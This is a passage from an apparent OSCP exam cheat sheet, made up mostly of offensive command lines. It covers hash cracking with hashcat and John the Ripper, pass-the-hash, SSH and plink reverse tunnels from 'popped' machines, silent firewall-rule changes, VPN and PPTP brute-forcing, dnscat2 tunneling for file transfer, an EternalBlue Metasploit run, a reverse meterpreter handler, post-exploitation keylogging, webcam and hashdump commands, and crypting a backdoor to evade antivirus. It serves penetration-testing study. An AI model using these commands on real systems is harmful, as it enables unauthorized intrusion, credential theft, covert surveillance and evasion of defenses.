1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
```
Cracking Windows Hashes
```
3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems
```
Cracking Common Application Hashes
```
  900 | MD4                                              | Raw Hash
    0 | MD5                                              | Raw Hash
 5100 | Half MD5                                         | Raw Hash
  100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
 1400 | SHA-256                                          | Raw Hash
 1700 | SHA-512                                          | Raw Hash
```
Create a .hash file with all the hashes you want to crack puthasheshere.hash: $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/

Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:

hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt

Wordpress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/

Wordpress clear text: test

Hashcat example cracking Wordpress passwords using rockyou:

hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt
- Sample Hashes
  http://openwall.info/wiki/john/sample-hashes
- Identify Hashes
  
  hash-identifier
- To crack linux hashes you must first unshadow them:
  
  unshadow passwd-file.txt shadow-file.txt
  
  unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
John the Ripper - Password Hash Cracking
- john $ip.pwdump
- john --wordlist=/usr/share/wordlists/rockyou.txt hashes
- john --rules --wordlist=/usr/share/wordlists/rockyou.txt
- john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
- JTR forced descrypt cracking with wordlist
  
  john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt
- JTR forced descrypt brute force cracking
  
  john --format=descrypt hash --show
Passing the Hash in Windows
- Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:
  
  export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
  
  pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port
- apt-get install rinetd
- cat /etc/rinetd.conf
```
# bindadress bindport connectaddress connectport
w.x.y.z 53 a.b.c.d 80
```
SSH Local Port Forwarding: supports bi-directional communication channels
- ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
- ssh <gateway> -R <remote port to bind>:<local host>:<local port>
SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
- ssh -D <local proxy port> -p <remote port> <target>
Proxychains - Perform nmap scan within a DMZ from an external computer
- Create reverse SSH tunnel from Popped machine on :2222
 
 ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host>
- Create a Dynamic application-level port forward on 8080 thru 2222
 
 ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>
- Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
 
 proxychains nmap --top-ports=20 -sT -Pn $ip/24
HTTP Tunneling

nc -vvn $ip 8888
Traffic Encapsulation - Bypassing deep packet inspection
- http tunnel
 On server side:
 sudo hts -F <server ip addr>:<port of your app> 80 On client side:
 sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
- Tunnel on port 22
 
 plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
- Port 22 blocked? Try port 80? or 443?
 
 plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
- Windows machine add required firewall rules without prompting the user
- netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
- netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
- netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
- netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079
- Start the http tunnel client
 
 httptunnel_client.exe
- Create HTTP reverse shell by connecting to localhost port 3000
 
 plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000
VLAN Hopping
- <div class="highlight highlight-source-shell"> <pre>git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh</pre> </div>
VPN Hacking
- Identify VPN servers:
 ./udp-protocol-scanner.pl -p ike $ip
- Scan a range for VPN servers:
 ./udp-protocol-scanner.pl -p ike -f ip.txt
- Use IKEForce to enumerate or dictionary attack VPN servers:
 
 pip install pyip
 
 git clone https://github.com/SpiderLabs/ikeforce.git
 
 Perform IKE VPN enumeration with IKEForce:
 
 ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
 
 Bruteforce IKE VPN using IKEForce:
 
 ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1 Use ike-scan to capture the PSK hash:
 <div class="highlight highlight-source-shell"> <pre>ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP</pre> </div>
 Use psk-crack to crack the PSK hash
 <div class="highlight highlight-source-shell"> <pre>psk-crack hash-file.txt pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key</pre> </div>
PPTP Hacking
- Identifying PPTP, it listens on TCP: 1723
  NMAP PPTP Fingerprint:
  
  nmap –Pn -sV -p 1723 TARGET(S) PPTP Dictionary Attack
  
  thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
Port Forwarding/Redirection
PuTTY Link tunnel - SSH Tunneling
- Forward remote port to local address:
 
 plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>
SSH Pivoting
- SSH pivoting from one network to another:
 
 ssh -D <local host>:1010 -p 22 user@<remote host>
DNS Tunneling
- dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
- Attacking Machine Installation:
 <div class="highlight highlight-source-shell"> <pre>apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install</pre> </div>
- Run dnscat2:
```
ruby ./dnscat2.rb 
dnscat2> New session established: 1422 
dnscat2> session -i 1422
```
- Target Machine:
 https://downloads.skullsecurity.org/dnscat2/
 
 https://github.com/lukebaggett/dnscat2-powershell/
 
 dnscat --host <dnscat server ip>

The Metasploit Framework

See Metasploit Unleashed Course in the Essentials
Search for exploits using Metasploit GitHub framework source code:
https://github.com/rapid7/metasploit-framework
Translate them for use on OSCP LAB or EXAM.
Metasploit
- MetaSploit requires Postfresql
  
  systemctl start postgresql
- To enable Postgresql on startup
  
  systemctl enable postgresql
MSF Syntax
- Start metasploit
  
  msfconsole
  
  msfconsole -q
- Show help for command
  
  show -h
- Show Auxiliary modules
  
  show auxiliary
- Use a module
```
use auxiliary/scanner/snmp/snmp_enum  
use auxiliary/scanner/http/webdav_scanner  
use auxiliary/scanner/smb/smb_version  
use auxiliary/scanner/ftp/ftp_login  
use exploit/windows/pop3/seattlelab_pass
```
- Show the basic information for a module
  
  info
- Show the configuration parameters for a module
  
  show options
- Set options for a module
```
set RHOSTS 192.168.1.1-254  
set THREADS 10
```
- Run the module
  
  run
- Execute an Exploit
  
  exploit
- Search for a module
  
  search type:auxiliary login
Metasploit Database Access
- Show all hosts discovered in the MSF database
  
  hosts
- Scan for hosts and store them in the MSF database
  
  db_nmap
- Search machines for specific ports in MSF database
  
  services -p 443
- Leverage MSF database to scan SMB ports (auto-completed rhosts)
  
  services -p 443 --rhosts
Staged and Non-staged
- Non-staged payload - is a payload that is sent in its entirety in one go
- Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus
MS 17-010 - EternalBlue
- You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: https://www.youtube.com/watch?v=4OHLor9VaRI
1. First step is to configure the Kali to work with wine 32bit
  
  dpkg --add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~/.wine wine cmd.exe exit
2. Download the exploit repostory https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
3. Move the exploit to /usr/share/metasploit-framework/modules/exploits/windows/smb or ~/.msf4/modules/exploits/windows/smb
4. Start metasploit console
- I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.
  
  use exploit/windows/smb/eternalblue_doublepulsar msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10 RHOST => 10.10.10.10 msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe PROCESSINJECT => spoolsv.exe msf exploit(eternalblue_doublepulsar) > run
Experimenting with Meterpreter
- Get system information from Meterpreter Shell
  
  sysinfo
- Get user id from Meterpreter Shell
  
  getuid
- Search for a file
  
  search -f *pass*.txt
- Upload a file
  
  upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec
- Download a file
  
  download c:\\Windows\\system32\\calc.exe /tmp/calc.exe
- Invoke a command shell from Meterpreter Shell
  
  shell
- Exit the meterpreter shell
  
  exit

Metasploit Exploit Multi Handler

multi/handler to accept an incoming reverse_https_meterpreter

payload  
use exploit/multi/handler  
set PAYLOAD windows/meterpreter/reverse_https  
set LHOST $ip  
set LPORT 443  
exploit  
[*] Started HTTPS reverse handler on https://$ip:443/

Building Your Own MSF Module
- <div class="highlight highlight-source-shell"> <pre>mkdir -p ~/.msf4/modules/exploits/linux/misc cd ~/.msf4/modules/exploits/linux/misc cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb nano crossfire.rb</pre> </div>
Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)
- download Download a file or directory
  upload Upload a file or directory
  portfwd Forward a local port to a remote service
  route View and modify the routing table
  keyscan_start Start capturing keystrokes
  keyscan_stop Stop capturing keystrokes
  screenshot Grab a screenshot of the interactive desktop
  record_mic Record audio from the default microphone for X seconds
  webcam_snap Take a snapshot from the specified webcam
  getsystem Attempt to elevate your privilege to that of local system.
  hashdump Dumps the contents of the SAM database
Meterpreter Post Exploitation Features
- Create a Meterpreter background session
  
  background

Bypassing Antivirus Software

Crypting Known Malware with Software Protectors
- One such open source crypter, called Hyperion
 <div class="highlight highlight-source-shell"> <pre>cp /usr/share/windows-binaries/Hyperion-1.0.zip unzip Hyperion-1.0.zip cd Hyperion-1.0/ i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll . cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll . wine hyperion.exe ../backdoor.exe ../crypted.exe</pre> </div>

Awesome

OSCP-Survival-Guide

Table of Contents

Kali Linux

Information Gathering & Vulnerability Scanning

Passive Information Gathering

Active Information Gathering

Port Scanning

Enumeration

HTTP Enumeration

Buffer Overflows and Exploits

Shells

File Transfers

Uploading Files

Packing Files

Privilege Escalation

Linux Privilege Escalation

Windows Privilege Escalation

Client, Web and Password Attacks

Client Attacks

Web Attacks

File Inclusion Vulnerabilities

Database Vulnerabilities

Password Attacks

Password Hash Attacks

Networking, Pivoting and Tunneling

The Metasploit Framework

Bypassing Antivirus Software